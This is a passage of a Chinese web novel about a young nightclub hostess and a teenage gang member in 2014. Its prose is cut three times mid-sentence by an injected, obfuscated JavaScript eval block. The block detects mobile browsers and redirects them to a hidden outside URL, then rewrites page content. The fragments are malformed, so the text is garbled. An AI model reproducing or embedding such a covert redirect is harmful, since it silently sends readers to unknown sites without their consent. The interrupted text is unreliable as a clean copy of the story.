“做人留一线。你也别生气啦。”许冉轻描淡写。 姜璐收拾了东西先一步走,刚出了门,许冉听她问:“咦。送水的你怎么还在这里。” 许冉停了,心里一晃,也走了出去,探头,说:“璐璐,你先走吧。我认得他,老同学。” 姜璐狐疑地再看这男人一眼,见他脚下一地烟头。 ——刚刚还跟她说不抽烟,装什么乌龟王八蛋呢。男人都是猪! - 等姜璐走远了,许冉问,“你怎么还在这儿。” 谢存山蹲了半天,听完了里头的这一出,脚麻,弯腰起身,边说:“等你...” 老城区一到傍晚就开始堵车。这儿的人开车不怎么守规矩,脾气也是火辣辣的。街上鸣笛声几乎是此起彼伏,许冉只听清楚前面两字,心紧了一下,只能拔高声音说,“什么?” “等你结账...桶装水结账!”谢存山嗓子抽烟抽的都哑了,直起身子,也拔高了些音调。 隔壁张姐的头又从一堆鸭脖子鸭爪里探出来。 谢存山不耐烦的脸近在咫尺,眸色深沉,眉头微耸,抿着唇。好熟悉。 玉林路的街灯总在晚上七点准时亮起,夜晚来临。许冉有种强烈的失重和失真感,这个世界在她眼里如此清晰,明亮。 就像她新生一次,重新张开婴儿的眼睛。 谢存山用一种匪夷所思的见鬼眼神看她。她一点都不在意。 她和眼前这个男人,亲密无间,各自离散。 重逢以这样滑稽平庸的形式突然降临。写进小说都会被嫌老调重弹。 荒谬绝伦。 谢存山倚在门框上看门外,等着许冉在柜台数现金。 “定三十桶,是一千二是么。” “嗯。” “都是你送?” “店里派人。不一定。” “干多久了。” “六个月。” 许冉顿了一顿,想说什么又止住,复垂着头数钱,面上冷静,但手上点了两遍才数清。 她躲避他的眼睛,“好久没见了,你没什么想问我的?我之前联络你,你的微信号注销了。大概疫情之前吧。为什么?” 谢存山沉默,手机在嗡鸣,是何清庭,他没接。他心里太乱了,像感冒一样,头重脚轻,舌头打了三个蝴蝶结,说不出一句像样的话。怎么又顾得上和另一个女人的约会呢。 “不为什么。” 谢存山惜字如金。 许冉把耳边一缕头发收到耳后,手指在红彤彤的钞票间灵巧地翻飞。 接着说,“我之前一直在广州,你知道的。也是刚刚回桐城,这店是我和小姐妹合伙开的。我这次回来是打算要找你的。当年你给我的那笔钱,我肯定得连本带利还给你。只是没想到就这么巧,碰上了。” 钱这个字,相当刺耳,谢存山恨透了这个字,恨透了跟她谈钱。 他一点就炸。 “我从没说过要你还。这么多年不见,你还是和以前一样,张口闭口就是钱。” 谢存山哑着嗓子,撂下话,根本不看她,抓了钱,头也不回地踏出了店。许冉见他急急地汇入人流,差点撞倒绿化带旁卖手抓饼的摊子。 ——好像在躲什么瘟疫鬼怪。 桐城难得一个温柔清爽的夜,谢存山却魂不附体,仓皇乱窜。 许冉。天真的,成熟的,谄媚的,忧愁的。 现实与回忆在每一个午夜重叠。他在时间的水底明灭沉浮太久,如同舒适地溺水,无法淡忘,无法释怀。 许冉其实有一张干净秀美的脸,和一双孩童般澄净的眼睛,只是那张脸上从前常常有厚重的妆容,和太多令人无法捉摸的神情。 但眼睛不能骗人。 谢存山见过那双眼睛亮起的样子,比所有的街灯都亮,因为天真,因为欲望,因为爱。 - 【2014】 刘闯叫许冉去开酒,谢存山揣着那包钱跟着。 酒保不认得许冉,问:“你是?” “我是莉莉,跟着小琴姐来的。这是十二号台的。” “记哪儿?” “一半记莉莉,一半记小琴姐的。” 若不是万小琴,她也得不到这样的机会,这点眼力见儿她还是有的。 “你在这儿上班?” 许冉在柜台等酒的时候,谢存山问她。 “当然。难不成你真以为我是二中的学生。” 许冉学着万小琴笑得媚声媚气。 面前的女孩儿年纪小,秀美的唇,面颊一点婴儿肥未褪,妆容太重了,但一双明亮的黑白分明的眼睛让人过目难忘,有少女的真挚和倔强,也有一层崭新的凉薄。 谢存山不太会和女孩儿搭话,从皮包里一掏,甩了四五沓钱到柜台上。 “你是跟着闯哥混的啊?”许冉撇了一眼那些钱,问他。 “嗯。” 谢存山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144308|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年也是十八岁,去年高三被退学,索性就跟着几个发小出来混了。 退学原因很简单,打架。有变态在班上骚扰女同学,自习课外放成人片自/wei,女同学吓坏了,敢怒不敢言,谢存山一怒之下把人踹地上,揍了。揍进了医院,肋骨断了。 双方父母私下和解。 男生没事儿人似的,回来上课了,因他成绩好,期末学校还给了他自主招生名额。 谢存山的父亲托了关系,求爹爹告奶奶,要学校不要给他记过,免得档案里不好看。 谢存山觉得没意思透了,不再去上学。谢父觉得他是烂泥扶不上墙,不再管他。 他去年刚出来混的时候跟着的人叫唐小勇,开台球厅的,地下室还有几台老虎机。谢存山刚开始就在台球厅里带着麻子,小亮几个人,替他盯人,收钱,劝架,打架。 唐小勇这人其实挺窝囊。打架不行,做生意也不行,台球厅很快就临近倒闭,他手底下还有几个‘小弟’要养,很发愁。 好在唐小勇开车技术名声在外。以前他是开军用卡车的,跑过边境,跑过西藏,后来违反了纪律被踢了出来。 年初刘闯托人来请,唐小勇索性把店关了,领着几个‘小弟’在刘闯这里拜了码头,从此专为闯哥开车。 路西法这种地方谢存山来过,不过都是跟着大哥来开眼的。女人他没碰过,连搭话都不太会。 发小‘麻子’今年倒是交了女朋友,两人黏黏糊糊,连体婴似的,麻子把所有的钱都掏出来谈恋爱,为了耍酷买了辆机车,结果刚上路就出了车祸,在医院里躺了三个月。 ——恋爱中的男人脑子有病。 许冉离他很近,他不敢看她的眼睛,盯着酒保点钞。 有个穿着热辣,脸白的像灯泡似的女孩儿来搭讪,用手似有若无地碰他的大腿,谢存山不理人,只专心盯着那沓钱,把人气走了。 嘁,愣头青。 许冉懒得理他,跟着dj小幅度地摇晃起了身体。 她喝了很多酒,洋酒,啤酒,雪碧,混在肚子里,叮铃哐啷,轻飘飘的。心情很好,像一只气球悬浮起来,她明白了为什么万小琴喜欢这里,白天永不到来的地方,没有道德,没有烦恼,没有痛苦,扭扭腰笑一笑就能来钱,真好。 许冉还‘悬’在半空,觉得手腕疼了一下,她一看是这个男人在拽她,“疼!” 酒保抬头问:“警察怎么来了。” 许冉清醒了,抬头一看,还真有几个穿制服戴帽子的往卡座去了。人群骚动。 “操。”面前的男人骂了一声,从酒保手里夺走了钞票。拽着许冉就跑。 许冉余光见闯哥的人跟警/察动起手。这也太大胆了。跟警/察动手,不要命了! 有人吹起了刺耳的警哨,人群慌张躁动。身边呼啦啦地跑过一群保安。余光见三楼svip包厢的灯也大亮,男男女女也在玻璃后遥看楼下的闹剧。 她认出来其中一个是koko。 这男人看着瘦,力气好大,她挣脱不了,只能跟着他一起跑,他问她:“后门在哪儿。” 许冉晕晕乎乎地指了指,却指到了后厨,两人一个蹬着高跟鞋,一个领着皮包,就这么闯进烟熏火燎,烂菜叶子满地的厨房。 厨子们对这些早已见怪不怪,默默给两人让道,继续炒盖浇饭。 张大哥叼着烟,眯着眼认出了许冉,手里提着锅子还在冒火,追在背后问:“许冉你这是上哪儿去。” 当然没有回音。 等许冉终于挣脱的时候,他们又站在停车坪不远的空地上——那天他就是在这里挨的打。 许冉脑子清醒了一点,喘着粗气,她的高跟鞋跑断了带子,脚后跟在流血,“喂,你有病啊你,你跑你的,拉我干什么。你看看,鞋都坏了,这是我新买的鞋。” “我赔你。” 谢存山盯着她流血的脚踝,皱着眉使劲儿看。 “我不要你赔,你走吧,等会儿他们也要找来了。左转是条小路,有拉客的车。” 许冉试图把自己的脚藏起来。她忘记给指甲盖儿涂指甲油,丑得很。 许冉不知道他为什么要跑,但多半跟他怀里这包钱有点关系。但她不再打听纠缠,知道得多没好处,这是万小琴经常告诫她的。 “你叫许冉?”他忽然问。 “嗯。冉冉升起的冉。”许冉把双脚从细细的绳里解放出来,“你呢。公平起见,我得知道你的名字。” ——那天晚上回家,许冉给脚上的伤口上药,上完药又细细地修剪了脚指甲。 万小琴比她回来得还晚,见她还醒着,很惊讶。 许冉向她借指甲油,石榴红的颜色。她还有些酒醉,哼着歌,涂得歪歪扭扭,但看了又看,心里越来越高兴。 8. 2014 刘闯被捕,紫毛陪着丘胖子南下避风头,再回来已是一周以后。 许冉养的壁虎长出了新的一截尾巴。她脚上的伤口也已经彻底愈合。 万小琴难得‘贤惠’一回,下厨给紫毛接风洗尘。万小琴其实很能干,做饭也好吃。她有个弟弟,父母在外打工,她八岁就学会了烧柴火灶给弟弟做饭。 紫毛告诉她们,那天晚上是个局,丘胖子设计的,就为了帮‘二代’‘挫掉’刘闯。 刘闯原先是给‘二代’的爸爸开车的小弟,‘二代’叫徐炀,年轻些的时候酷爱飙车,在外地背了人命,刘闯给顶了包,再出来的时候就成了’闯哥’。徐炀的父亲送了他三间汽修厂。 刘闯仗着这些旧事和徐炀父亲的倚重,在徐炀面前也威风起来。 徐炀的父亲这两年步步高升,徐炀众星拱月惯了,怎能忍受他称兄道弟眼看爬到自己头上来。 丘胖子心思活泛,想向徐炀表忠心分忧解难,于是做了局。 这两年桐城打黑扫恶,刘闯平日里行事张狂,恶行累累,枪打出头鸟,他下了马,高兴的也不只丘胖子和徐炀这两家。 新闻里正在播‘桐城打黑扫恶典型案件通报’。 万小琴举着筷子说:“丘胖子也够狠的。不怕闯哥的小弟们来报复?” 紫毛说:“报复啥,树倒猢狲散,下面的人抓的抓,其他的避嫌还来不及。何况他手下都是些软蛋。” “这得判几年啊。” “至少五年十年的吧。他点背,被抓了典型。” “徐炀就不怕拔出萝卜带出泥,把以前顶包的事情都掀出来?” “哪能想掀就掀。这事儿判了就是判了,想翻案,牵连的人可不止徐炀和他老爹。” 紫毛抿一口酒,又神秘兮兮地说:“何况刘闯的老婆孩子还在徐炀手里。” 明明还是七月末的暑天,许冉却听得心里发寒。 万小琴揉紫毛的耳朵,“你这个丘老板,是个机灵人。你跟着他好好混。” 紫毛闹她,往她脸上吹热气,“还用你说。” 那晚虽是一场闹剧,但许冉却被提拔进了‘业务部’。马杰说这个小姑娘机灵,跑得挺快,有眼力见儿。 但她也学乖了,并不争着抢着要去陪那些动辄开台砸钱的大客户,以免卷进事端。 陪些散客虽然钱少,但周旋起来简单。笑一笑,最多让他们摸两把,无所谓,太在乎了干不成这行赚不着钱。 刘闯出事后的第二周,许冉陪着几个大学生在玩‘动物园’游戏。她们挺喜欢陪大学生的,人没那么下作,花的是父母的钱不心疼,而且脸皮薄好说话,哄一哄就乖乖点酒了。 “动物园里有什么。” “猴子。” “老虎。” “大象。” “大象说过了。得罚。” 为首的‘师哥’给许冉冉倒酒,湿淋淋的手从她肩膀慢慢慢慢往下滑。滑到臀部,轻轻地摸。 像摸西瓜似的。 “下周末我还来,还找你,好不好?” 男人跟她咬耳朵,黑框眼镜戳着她的脸颊,把酒腥味都喷在她耳根。 “莉莉。那边有人找你。”莎莎今天顶着一头蓝发,穿着亮片裙,像个未来世界的女战士,又凑近说,“是个小帅哥。就是穷了点,光点啤的。” 许冉把男人推开点,小心陪笑:“那下周我等你呀,‘师哥’。” 男人被她这一声叫得裤/裆都胀了。 许冉没有万小琴的火辣和风情,也没有琳达的神秘和妖冶,但她有刚进入社会的女孩常有的纯真和娇美,半真半假。 这里的男人都喜欢容易轻信和愿意仰视的女人,这让他们有掌控感,可以暂时忘却自己的平庸不堪。 “找我?” 是谢存山来了。同来的另外两人,满脸痘的卷毛,还有两个半大小孩,一个穿皮裤,另一个脸上胖胖的。登高巷被‘绵钱’的那天晚上她都见过。 许冉现在识人的功力大增。 他们一看就不常来这种地方消费,开了个小台,坐在高脚凳上有点拘谨,只点了几瓶啤酒,闷头喝。刚好最低消费。 谢存山打量她锁骨上的假纹身。那是刚才化妆间琳达给她贴的,小小的一只鸟,这是万小琴弄来的新鲜玩意儿,贴一次可以管半个月。 痘痘男话多,说:“美女,认识一下,我叫麻子。”他又指指那两个小马仔,说,“这是小亮。这是阿宇。” 我们见过。许冉说。 麻子歪着脑壳盯着她很久:“你是登高巷那个学生妹。我靠,你怎么变这样了。” 许冉被他逗笑:“变哪样了?” “变靓了。”麻子油嘴滑舌。 许冉知道他是什么意思,不在意,招手示意酒保,豪爽地请他们喝了两杯龙舌兰。 “好辣。”麻子说。 “你们来玩?等朋友?” “我们来看热闹,他来赔你的鞋。”麻子伸手拍了拍谢存山。 谢存山从怀里掏了薄薄的一小沓钱,往她面前一推。 许冉不肯收,把手抱在胸前,说,那鞋坏就坏了,没多少钱。 谢存山也犟得很,硬把钱往她怀里塞。两人胳膊碰胳膊,皮肉贴皮肉。 许冉急了,嚷嚷,收客人的现金我要丢工作的。 谢存山罢休,却招手喊来了酒保,“你们这儿一万的酒有没有,给我开一瓶,算在她头上。” “我靠,你哪儿来的钱。”麻子一惊一乍,“你有病啊,开这么多酒谁喝。” 许冉却不说话,谢存山也不说话,两人眼神对上,停留,又各自移开。 ——只有他们俩知道这钱是哪里来的。 - 后来谢存山还来了两次,一次自己来,一次跟麻子和另一个叫‘小勇’哥的男人。 许冉最近熟客多了,满场飞,顾不上他们,但也会去聊两句天。 她是实际但又爱凭直觉生活的人,觉得这几个人都不坏。他们规规矩矩的,从不上手,就只是跟她聊聊天。 不过她才十八岁,对坏人的定义过于简单,蒋东杰,刘闯那样的,才是坏人。 连轴转了小一个月,八月中的时候,她跟着万小琴和莎莎去金苹果淘衣服。那儿是桐城最大的批发市场。 莎莎活泼爱笑负责说好话,万小琴精明负责砍价杀价,两人配合得天衣无缝,收获多多。 万小琴在挑拣豹纹打底裤,莎莎嚼着口香糖问许冉,“那个总来找你的小帅哥,你们是怎么认识的。” “谁?” “就那个长得酷酷的,眉毛黑黑,皮肤也黑黑的那个。” ——谢存山啊。 “就那么认识了呗。” “一般这么说就是心里有鬼。” 莎莎闹她,两人笑成一团。 她们挑挑拣拣又不掏钱,老板娘不耐烦地揣着晾衣杆瞧着她们。 万小琴偏装看不见她的眼色,故意指使她,指着墙上高高挂着的,说:“那件,那件貂皮的,我也要试试。冬天就缺一件皮子货。” 她把那皮草抱在怀里,摸了又摸,回过头,用孔雀蓝的指甲戳许冉,说:“你怎么还不开窍,我看那小帅哥明显对你有意思。男人嘛,不看他多有钱,看他多愿意为你花钱。可懂?” 许冉点点头,敷衍。 那天万小琴买了两套性感/内/衣,一条电光蓝的紧身裙。皮草没买,嫌贵。莎莎又买了两顶新假发,一件水洗皮的外套。 许冉买了一块手表。虽然是二手的,但是八成新,擦一擦就锃亮了,老板说这个是限量的经典款,全新的现在要卖五千多,二手才一千出头。 许冉犹犹豫豫好久,本来人都出了市场,吃完酸辣粉,还是一个人拐回去买。 她把手表揣在包的里层,回家的公交上把包小心翼翼抱在怀里。 车上有个用化肥编织袋装着鸡鸭的奶奶,她突然有些负罪感,因为想到了奶奶的医药费。 但她又按捺不住自己的快乐。 这一阵子她不怎么去炸鸡柳店打工了。 进入‘业务部’也不全是好处。 她工作的时间越来越长,喝的酒越来越多,白天压根爬不起来,大多数时候在家里蜷着玩玩手机打发时间,偶尔晚上跟着万小琴和紫毛出去宵夜逛街唱歌。 之前的周末她还喜欢去江边跑步,有一阵还把堂哥的高中英语教材借来学习。她想自考大学。 现在她却分身乏术,书也被拿来垫泡面了。 林启给她发过两次信息。第一次是问她怎么不来打工了。许冉说自己在桐城的连锁巴西烤肉店找了个晚班工作。 第二次林启问她周六去看烟花吗。许冉迫不及待地说好。 收到短信的时候她正在陪客,玩七八九游戏。七亲,八摸,九喝酒。她倒霉,摇到了七,长得像猪八戒的男人凑上来拱她的脸。 其实她正式喝酒陪客不过小一个月,但起初的那种不适感已经消失了。 有时候她觉得她的身体并不属于她,尤其在那些男人凑近的时候,她的灵魂会轻飘飘地升起来,躲在某个安静的高处的阴影中,平和地看着她自己。 - 刘闯彻底凉了。唐小勇跑去广西避风头,告诫谢存山要‘低调’。 谢存山左耳朵进右耳朵出,自己又去了几次路西法,花光了身上的存款。 许冉像只蝴蝶一样,跟着万小琴从这桌飘到那桌,贪婪地吮吸花蜜。 他没说上几句话。 他几乎身无分文,也不想向谁伸手,于是托麻子找了个网管的工作。包吃包住。 辍学之后他和父亲大吵一架,甚至大打出手,随后搬离了家,回了谢家老屋跟外婆住。 但外婆是个强悍的母夜叉,三天两头拿衣架追着捻他,要他回去上学。 他被念叨得烦,大多数时候也就干脆不回,要么在台球馆将就,要么跟麻子住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144309|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻子家大人常年在国外,没人管,客房随他住。 谢存山虽年轻,但身材精壮,皮肤黝黑,吊儿郎当地往柜台那儿一坐,虎着脸看人像模像样,网吧里那些想逃单的,打架闹事的,找人的,打急眼了砸键盘耳机的都能被他镇住。 刚开始他也觉得这份工作好。除了拉拉架,吓唬人,其他时候自己也可以打游戏。 他几乎没日没夜地泡在网吧,下了班就去杂物间的行军床睡觉,睡好了继续起来打游戏。至于吃饭,要么泡面火腿肠,要么楼下的的士司机餐厅送上楼,十二块钱三个菜,肉零星半点,全是面粉团子。 这种没见天光的日子过了好几周,唐小勇回来了,来网吧找他,带他出去吃饭,刚走出门,到了大日头下面,一晒,谢存山哇地一下就吐了。 然后他就没再回网吧。 网吧老板还挺遗憾,他当网管的这个月打架闹事的少了一半。 唐小勇带他去高档酒楼吃了顿粤菜,又去洗浴中心好生洗了个澡,告诉他自己新开了游戏厅,机器都是新的流行的,这次地段更好,保准不赔钱。 “小亮,宇子,他们都来。还跟之前一样。” 谢存山没问他从哪儿弄来的钱,只是有点不愿意去。 他辍学近一年了,跟着唐小勇混,跟着刘闯混,刚开始呼朋唤友,打架喝酒,网吧ktv,都还有点新鲜劲儿,久了觉得同样是日复一日,又开始迷茫。 去年他爸来找他过一次,要他回去读书,软的他不听就来硬的,在台球厅门口当着人面给了他两耳光。 ——谢存山背着自己的两身换洗衣服和三千块工资跟着唐小勇去了店里,左瞧右瞧,地段好,机器都是最新款的,装修也是簇新的,唐小勇为了‘迎合市场’还在门口弄了几台抓娃娃机和大头贴机器。 谢存山摇摆不定,说,前段时间表舅联系,说他在日本开物流公司,正好缺人手,能办签证,工资比桐城高不少。 唐小勇哦了一声,还是那副蔫头搭脑的样子,蹲在后门的大垃圾桶旁边吸烟,说,你有好出路我当然不留你。跟着我的人里面就数你脑子好使。 他捏着烟胡乱指了指,又说,“这儿离路西法近,后门对着后门,等你走的事情定下来了,咱们几个再去喝酒。给你送行。” ——谢存山没再提去日本的事情,第二天就替唐小勇来给装修监工了。 除了唐小勇,与他最铁的就是麻子。 麻子比谢存山还大两岁,两人是发小,在同一个家属院里出生长大。 麻子的父母早年离婚各自出国组建家庭,他是爷爷奶奶带大的,溺爱,吃不得读书的苦,又不缺钱花,胸无大志,高中读完之后他就不想再读了。 父亲刚开始安排他去澳大利亚留学,语言成绩要90,他死活只考得出45。也就不了了之。 周五上午麻子正式拆石膏,谢存山罕见地起了个早,陪他一块儿去。 ——拆完了石膏,谢存山又陪他去处理摩托车。麻子走得一瘸一拐,右脚三个月没活动了,肌肉萎缩了一大圈。 他提车第一天就摔了车,摩托车放在修理厂也不急着处理,骑是不敢再骑了,想着修一修做二手卖了。 他们刚到修理厂,麻子的女朋友也来了。 他女朋友叫小苗,是个读卫校的小姑娘,娇小可爱,围着麻子的腿看来看去,又问他,拆石膏痛不痛啊北鼻。 谢存山习惯了他们之间肉麻得吓人的交流方式。麻子摔车那天晚上被送到医院,小苗追着担架哭了一路,哭得生离死别,惊天动地。 同病房的人在走廊上议论,作孽啊,年纪轻轻人就这么没了。 … 总之这小两口但凡凑在一起,就自动屏蔽外人,嘀嘀咕咕,像两只小鹦鹉,相互挠个不停。 麻子说,我跟我老头要钱了,这个月把驾照考了就买车。到时候你晚上实习完还能去接你,也不怕淋雨了。 小苗说,亲爱的么么哒。 谢存山低下头看其中一辆车的轮毂磨损情况。 —他想到了许冉。 游戏厅比路西法关门早一点,凌晨三点多拉了卷闸门他总是不由自主地‘闲逛’到路西法后门。 十次里头有八次能看到许冉。 她走得很准时。有时候跟着那个穿着张扬的姑娘和她的紫毛男友,有时候一个人,换了宽松的衣服抱着臂走到前头桥洞下面坐摩的。 她瘦瘦的,又很谨慎的模样,像巷子里的流浪猫。 摩的司机排成一行叉着腿鼓着眼睛从头到脚不怀好意地看她,和她讨价还价,占些嘴上的便宜。 外头麻子和小苗甜甜蜜蜜地商量今晚吃牛蛙还是卤虾,见老板跟着谢存山推着辆车出来,说:“这车你放心骑,你是小勇哥的人,我可不敢坑你。” 麻子惊讶得下巴都要掉了,嘀咕说,你不是说骑车危险吗。 二零一四年八月,谢存山花了一兜子来历不明的钱,买回人生第一辆摩托车。 9. 2014 马杰的办公室在三楼,环形玻璃房的里层。 许冉很少来三楼,这里都是包房,来陪的大都是‘股东部’的人。 她在门口等,koko从里头出来,面带愠怒之色。 她用了好大的力,门板险些砸到许冉。马杰跟在她后面点头哈腰,笑得像个大马猴,“这也是邵总亲自安排的,他要带谁,我哪儿能做得主。” koko睨了一眼门口的许冉,转身问马杰,“又来新的了?” “小琴的妹妹。刚上班没几天。” koko漫不经心地应一句。抠着自己的指甲往楼上去了。 等送走了koko,马杰转身应付许冉。 许冉是来请假的。明晚就是她和林启约定的日子。这大半个月她一天假也没休。 马杰这个人八面玲珑,轻易不得罪人,爽快地答应。他看她这个月的签单记录,说,“不得了,你比你小琴姐刚开始做的时候还厉害。” “等到了月底,新人业绩好有额外奖金,三千多。我看你这马上就快了。你听哥一句,散单费神,来钱慢,还得多点熟客,熟客再介绍朋友来,朋友也变成你的熟客,台子不就凑起来了,钱不就赚着了?咱们这一行说到底就是两个字儿,人脉,和外头那些卖保险的,银行客户经理没区别。你得让人喜欢你,相信你,只想跟着你。” 许冉讷讷答好,想着那三千块钱,心情好得不得了。至于那些什么人脉啊,熟客啊,她没听进去。 离营业还有段时间,她到对街路边吃肉丝粉,电视里在播新闻联播,许冉给奶奶打电话。 这家粉店通宵都营业,她们凌晨下了班,也总来吃,汤头热热的,吃完出一身汗,酒醉带来的不适就会缓解很多。 桐城的暑天大致结束了,奶奶的身体也有了好转,思维也清晰些。 这儿夏季酷暑冬季严寒,老人最难捱。 奶奶总是忘记她已经毕业了,还问她:“学上的怎么样。” “上的不怎么样。数学太难咯。” “太难就认真学嘛。你爸爸以前数学最好咯。” “上次你还说爸爸以前语文最好,会写诗。” 奶奶哑着嗓子笑,许冉想象她满脸的褶子肯定又挤来挤去,互不相让。 挂了电话,听到有人喊她名字。 许冉抬头一看,是谢存山和麻子,站在马路牙子上。麻子龇着牙对她笑。 谢存山和她的目光一触,不自然地移开。 今天不太一样,电驴换成蹭亮的摩托车了。谢存山那样倚着,着实像小时候看过中央六台香港电影里的男主角。 路过两个穿热裤背心的小姑娘,回头看了他三四回,用手肘推搡对方。 “好巧啊。你今天上班?”麻子问。 “我天天都上班。你们来这儿玩?” “陪老三溜溜车。”麻子说,“雅马哈的。双缸。酷吧。” 许冉瞥了眼车,看不出好坏,但想到那天晚上的那袋子钱,又突然想到那天在金苹果万小琴说的话。 她不紧不慢地扯了卷纸擦嘴巴,起身扫码。那两个人拉拉扯扯半天,不知道在商量什么,婆婆妈妈的。 她懒得过问,笔直过马路,他们也追上来,陪着过马路,一左一右,游手好闲。 谢存山平时只是话少些,今天则怪里怪气,别别扭扭,不看她的眼睛,也不搭腔,双手插兜,拽得二五八万似的。 麻子像个外交部发言人,话说个没停。 “美女,等会儿你做什么。” “上班。” “上完班做什么。” “回家睡觉。” “那多无聊。” “什么不无聊?” “等会儿跟我们去兜风。老三买车了,他载你。”麻子用手肘推了推谢存山。 许冉又不是傻子,斜了谢存山一眼,他还是不说话,嘴巴被缝起了似的,就是耳根红了。 也不知为什么,看着他这副样子许冉心里也不痛快。 爱要坦荡荡嘛。万小琴经常唱的。 许冉说,“不去。我怕摔死了。” “你这话说的。真幽默。”麻子真心诚意地哈哈大笑,还自来熟地来拍她的肩。 许冉留了个白眼,矮身一躲,三两步就跨上了路西法的台阶。 - 许冉到的挺早,化妆间里只有小橙一个人,正趴在化妆台上看书。 小橙看的书五花八门。前一阵她在看《动物农场》,许冉问她是什么故事,她说里面有几只非常聪明的猪,和残忍的狗。 最近她在看《卡拉马佐夫兄弟》,名字更长更离奇,什么斯基写的。 小橙告诉她,她特别喜欢里面的一句话,她读给她听——‘最要紧的是,我们首先应该善良,其次要诚实,再其次是以后永远不要相互遗忘’。 许冉听了似懂非懂,摇摇头,小橙又笑。 好几个业务部的姑娘都不喜欢小橙,说她装。其实说到底是嫉妒小橙业务能力强,还从ktv带来不少客户资源。马杰高看她一眼。别人自然眼红。 万小琴说小橙是正儿八经的985大学生,也不知为何入了这行。 ——“不过这一行也没什么不好,是不是?谁干都一样。”她又说。 许冉很喜欢和小橙聊天。在夜场里她很老道,温柔的解语花一样的女人,她跟那些狂妄又脆弱的男人喝酒,把人聊哭了好几回。 下了夜场她话少,看人时有种通透和宁静。 小橙把书借给许冉看,自己站起来给她鼓捣头发,说她的头发又黑又多,很适合扎半马尾。小橙说她小时候最喜欢玩芭比娃娃,每天早上她都要一个个给她们扎头发。 小橙的动作很轻柔,许冉想起自己的堂姐。小时候的暑假她们都寄住在奶奶家,堂姐比她大四岁,照顾人的时候俨然像个小小的母亲。她最喜欢堂姐给她梳头。 两把板凳一高一矮,后山蝉鸣寂寂,老厝的门前有穿堂风,她总在堂姐的膝头睡着。 现在堂姐成了真正的母亲。 ——她嫁去了潮州,接连生了两个女儿,跟着丈夫在广州打工。 今晚生意差些,许冉偷懒,跑去吧台和酒保聊天。 和她要好的酒保是个很腼腆的长得很清秀的男孩,与她同岁,叫李迈克。因为他妈妈喜欢迈克杰克逊。后来他妈妈真的跑去了美国,与人结了婚,定居在阿拉斯加。 李迈克先前被熟人骗去东南亚打工,在赌场当服务生,后来做传销,好不容易才跑回来。 如今在路西法调酒,安安稳稳,他很知足。他在调酒上颇有天赋,最拿手的是‘白色佳人’。 许冉和万小琴带散客来点酒的时候,李迈克总变着花样推荐最贵的。 “外头下暴雨。当然人少。”莎莎也凑过来聊天。又用手肘戳她,说,“找你的。” ——是‘师哥’。 师哥的眼睛从黑框换成了金属边的,衣服从T恤换成了西裤衬衫。‘师哥’是读金融的,陪他来的师弟师妹总说羡慕他在桐城最好的证券公司实习。 ‘师哥’和几个实习生同事来的,熟门熟路地揽起她的肩膀,说,你今天穿得好看。 她笑笑。小牛仔抹胸裙是和万小琴拼团买的,露出一大团胸/脯。万小琴不在乎。 说穿再多也没用,在这些男人眼里早就是光着身子了。 许冉觉得她是个哲学家。 他们聊那些金融圈的事情,几百上千万的项目什么ppp,p2p,许冉听不明白,但心里也觉得‘师哥’很厉害。听他们的意思,‘师哥’是这些人里最出色的,年底转正肯定是稳了。 ‘师哥’叫她去开酒,开两千多的日本进口的。 李迈克替她开酒,说:“这男的行啊,以前都是开啤的,散的。” “听他们说实习工资就六千多呢。年底还拿分红。” 李迈克咋舌,“那转正了岂不是更多。” 许冉端着酒和酒杯想起马杰下午说的奖金,想着想着,走路也摇曳起来。‘师哥’上次称赞她有一双漂亮的腿,说,我前女友腿上摸着不如你细腻。 第一杯酒‘师哥’和在座的人一起喝。第二杯许冉和‘师哥’交杯喝。旁边的人起哄,一杯不够,得三杯。 酒瓶见底得很快,许冉心里高兴极了。马经理说的没错,还是熟客的钱好赚。 酒杯放下来,许冉也有点眼晕,‘师哥’抓着另一个穿衬衫的人坐下,嗔怪,“你怎么刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144310|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” 又扭头,说,“给各位大佬介绍一下,这是我师弟,今年刚刚转系来金融,期末就考了个第一。叫林启,树林的林,启程的启。” - 凌晨三点,李迈克在洗手间里找到许冉。 她酩酊大醉,斜趴在马桶盖上半阖着眼歇气,脚边都是呕吐的秽物。 李迈克亲眼所见,她一个人喝歇菜了三个男的。那一桌拢共开了三万多的酒,‘师哥’喝得找不着北,是保安给扛上出租的。 “我的姐姐,你这么拼命做什么。”他抽了纸给她揩脸,又凑过去小声些说,“我问了,马经理说了,月末奖金肯定有你的一份。” 